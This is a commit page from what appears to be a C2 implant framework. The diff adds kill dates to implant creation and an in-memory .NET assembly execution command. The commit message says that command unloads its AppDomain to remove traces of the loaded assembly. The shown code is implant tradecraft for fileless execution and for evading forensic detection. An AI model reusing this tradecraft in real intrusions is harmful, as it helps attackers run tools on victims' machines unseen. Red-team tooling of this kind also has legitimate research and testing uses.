Skip to content

Commit

Permalink
Added MessageData class which holds the string response so it can be …
Browse files Browse the repository at this point in the history
…sent as proper JSON, Added a killDate to the engineer creation, removed working hours for now, Fixed JSON parsing, added unLoad AppDomain option to Inline Assembly it will not create an app domain load the assembly and then unload the app domain removing traces of the assembly from the loaded appdomain list, made logging service autp pretty print vs new line, reenabled seatbelt auto table parse , check release 0.1.2 alpha for notes.
  • Loading branch information
DragoQCC committed Apr 10, 2023
1 parent b3f7812 commit 47ec212
Show file tree
Hide file tree
Showing 22 changed files with 483 additions and 201 deletions.
7 changes: 6 additions & 1 deletion ApiModels/Requests/SpawnEngineerRequest.cs
Original file line number Diff line number Diff line change
Expand Up @@ -8,11 +8,16 @@ namespace ApiModels.Requests
{
public class SpawnEngineerRequest
{
public DateTime? selectedKillDate { get; set; }
public TimeSpan? selectedKillTime { get; set; }

public string managerName { get; set; }
public int ConnectionAttempts { get; set; }
public int Sleep { get; set; }
public string? WorkingHours { get; set; }


public DateTime KillDateTime { get; set; }

public bool EncodeShellcode { get; set; }

public EngCompileType complieType { get; set; }
Expand Down
181 changes: 131 additions & 50 deletions Engineer/Commands/InlineAssembly.cs
Original file line number Diff line number Diff line change
Expand Up @@ -36,76 +36,157 @@ public override async Task Execute(EngineerTask task)
assemblyArgument = assemblyArgument.TrimStart(' ');
assemblyArgument = assemblyArgument.TrimStart('\"');
assemblyArgument = assemblyArgument.TrimEnd('\"');


string appDomainName = null;
string execMethod = "";
bool execGiven = task.Arguments.TryGetValue("/execmethod", out execMethod);
if (execGiven)
{
bool appNameGiven = task.Arguments.TryGetValue("/appdomain", out string appname);
if (appNameGiven)
{
appDomainName = appname;
}
else
{
appDomainName = "mscorlib";
}
}
else
{
appDomainName = "mscorlib";
}
string output = "";

//set the console out and error to try and capture output from thread execution
var stdOut = Console.Out;
var stdErr = Console.Error;
var ms = new MemoryStream();


// use Console.SetOut() to redirect the output to a string
StreamWriter writer = new StreamWriter(ms) { AutoFlush = true };

//get the current Processes Console and set the SetOut and SetError to the stream writer
Console.SetOut(writer);
Console.SetError(writer);
var currentout = Console.Out;
var currenterror = Console.Error;
try
{

// debase64 encode assembly string into a byte array
byte[] assemblyBytes = task.File;

//make a new thread to run the assembly in and as it gets output from the assembly it will be written to the stream writer
Thread thread = new Thread(() =>
{
//will block so needs its own thread
Assembly assembly = Assembly.Load(assemblyBytes);
assembly.EntryPoint.Invoke(null, new[] { $"{assemblyArgument}".Split() });
});

//start the thread
thread.Start();
string output = "";
//while the thread is running call Tasking.FillTaskResults to update the task results
while (thread.IsAlive)
if (execMethod != null && execMethod.Equals("UnloadDomain",StringComparison.CurrentCultureIgnoreCase))
{
//Console.WriteLine("thread is alive");
//Console.WriteLine("filling task results");
output = Encoding.UTF8.GetString(ms.ToArray());
if (output.Length > 0)
var appDomainSetup = new AppDomainSetup
{
//clear the memory stream
ms.Clear();
Tasking.FillTaskResults(output, task, EngTaskStatus.Running, TaskResponseType.String);
output = "";
}
if (task.cancelToken.IsCancellationRequested)
ApplicationBase = AppDomain.CurrentDomain.BaseDirectory
};
output += $"[+] creating app domain {appDomainName}\n";
var domain = AppDomain.CreateDomain(appDomainName, null, appDomainSetup);
var executor = (AssemblyExecutor)domain.CreateInstanceAndUnwrap(Assembly.GetExecutingAssembly().FullName, typeof(AssemblyExecutor).FullName);
output += executor.Execute(assemblyBytes, assemblyArgument.Split(), task, appDomainName);
output += "\n[*] trying to unload appdomain";
AppDomain.Unload(domain);
output += "\n[+] app domain unloaded";
}
else
{
using var ms = new MemoryStream();
using var sw = new StreamWriter(ms)
{
AutoFlush = true
};

Console.SetOut(sw);
Console.SetError(sw);
//make a new thread to run the assembly in and as it gets output from the assembly it will be written to the stream writer
Thread thread = new Thread(() =>
{
//will block so needs its own thread
Assembly assembly = Assembly.Load(assemblyBytes);
assembly.EntryPoint.Invoke(null, new[] { $"{assemblyArgument}".Split() });
});

//start the thread
thread.Start();
//while the thread is running call Tasking.FillTaskResults to update the task results
while (thread.IsAlive)
{
Tasking.FillTaskResults("[-]Task Cancelled", task, EngTaskStatus.Cancelled, TaskResponseType.String);
thread.Abort();
break;
output = Encoding.UTF8.GetString(ms.ToArray());
if (output.Length > 0)
{
ms.Clear();
Tasking.FillTaskResults(output, task, EngTaskStatus.Running, TaskResponseType.String);
output = "";
}
if (task.cancelToken.IsCancellationRequested)
{
Tasking.FillTaskResults("[-]Task Cancelled", task, EngTaskStatus.Cancelled, TaskResponseType.String);
thread.Abort();
break;
}
Thread.Sleep(10);
}
Thread.Sleep(10);
//finish reading and set status to complete
output = Encoding.UTF8.GetString(ms.ToArray());
ms.Clear();

}
//finish reading and set status to complete
output = Encoding.UTF8.GetString(ms.ToArray());
ms.Clear();
Console.SetOut(currentout);
Console.SetError(currenterror);
Tasking.FillTaskResults(output, task, EngTaskStatus.Complete, TaskResponseType.String);

}
catch (Exception e)
{
Tasking.FillTaskResults("error: " + e.Message, task, EngTaskStatus.Failed, TaskResponseType.String);
//Console.WriteLine(e.Message);
//Console.WriteLine(e.StackTrace);
Console.SetOut(currentout);
Console.SetError(currenterror);
Tasking.FillTaskResults($"{output} \n error: " + e.Message, task, EngTaskStatus.Failed, TaskResponseType.String);
}
finally
}
}

internal class AssemblyExecutor : MarshalByRefObject
{
public string Execute(byte[] asm, string[] arguments,EngineerTask task,string appdomainName)
{


using var ms = new MemoryStream();
using var sw = new StreamWriter(ms)
{
AutoFlush = true
};

Console.SetOut(sw);
Console.SetError(sw);

Thread thread = new Thread(() =>
{
//will block so needs its own thread
Assembly assembly = Assembly.Load(asm);
assembly.EntryPoint.Invoke(null, new[] { arguments });
});

//start the thread
thread.Start();
string output = "";
//while the thread is running call Tasking.FillTaskResults to update the task results
while (thread.IsAlive)
{
//reset the console out and error
Console.SetOut(stdOut);
Console.SetError(stdErr);
Console.Out.Flush();
Console.Error.Flush();
output = Encoding.UTF8.GetString(ms.ToArray());
if (output.Length > 0)
{
Tasking.FillTaskResults(output, task, EngTaskStatus.Running, TaskResponseType.String);
output = "";
}
if (task.cancelToken.IsCancellationRequested)
{
Tasking.FillTaskResults("[-]Task Cancelled", task, EngTaskStatus.Cancelled, TaskResponseType.String);
thread.Abort();
break;
}
Thread.Sleep(10);
}
return;
//finish reading and set status to complete
Console.Out.Flush();
Console.Error.Flush();
output = Encoding.UTF8.GetString(ms.ToArray());
return output;
}
}
}
1 change: 1 addition & 0 deletions Engineer/Engineer.csproj
Original file line number Diff line number Diff line change
Expand Up @@ -183,6 +183,7 @@
<Compile Include="Models\EngineerTaskResult.cs" />
<Compile Include="Models\CommModule.cs" />
<Compile Include="Models\HttpCommModule.cs" />
<Compile Include="Models\MessageData.cs" />
<Compile Include="Models\SMBCommModule.cs" />
<Compile Include="Models\TCPCommModule.cs" />
<Compile Include="Program.cs" />
Expand Down
32 changes: 16 additions & 16 deletions Engineer/Extra/Extensions.cs
Original file line number Diff line number Diff line change
Expand Up @@ -14,29 +14,29 @@ namespace Engineer
{
public static class Extensions
{
public static IEnumerable<Type> GetseralTypes()
{
return new List<Type>()
{
typeof(EngineerCommand),
typeof(EngineerTask),
typeof(List<EngineerTask>),
typeof(EngineerTaskResult),
typeof(List<EngineerTaskResult>),
typeof(EngineerMetadata),
typeof(List<EngineerMetadata>),
typeof(C2TaskMessage),
typeof(List<C2TaskMessage>),
};
}

public static byte[] JsonSerialize<T>(this T data)
{
try
{
JSONParameters jsonParameters = new JSONParameters();
jsonParameters.UseValuesOfEnums = true;
string json = JSON.ToJSON(data,jsonParameters);
jsonParameters.UseExtensions = false;

object dataToSerialize;

if (typeof(T) == typeof(string))
{
dataToSerialize = new MessageData{ Message = (string)(object)data};
}
else
{
dataToSerialize = data;
}

string json = JSON.ToNiceJSON(dataToSerialize, jsonParameters);
//Console.WriteLine(json);

//write the json string to a memory stream and return the byte array
using (MemoryStream ms = new MemoryStream())
{
Expand Down
Loading

0 comments on commit 47ec212

Please sign in to comment.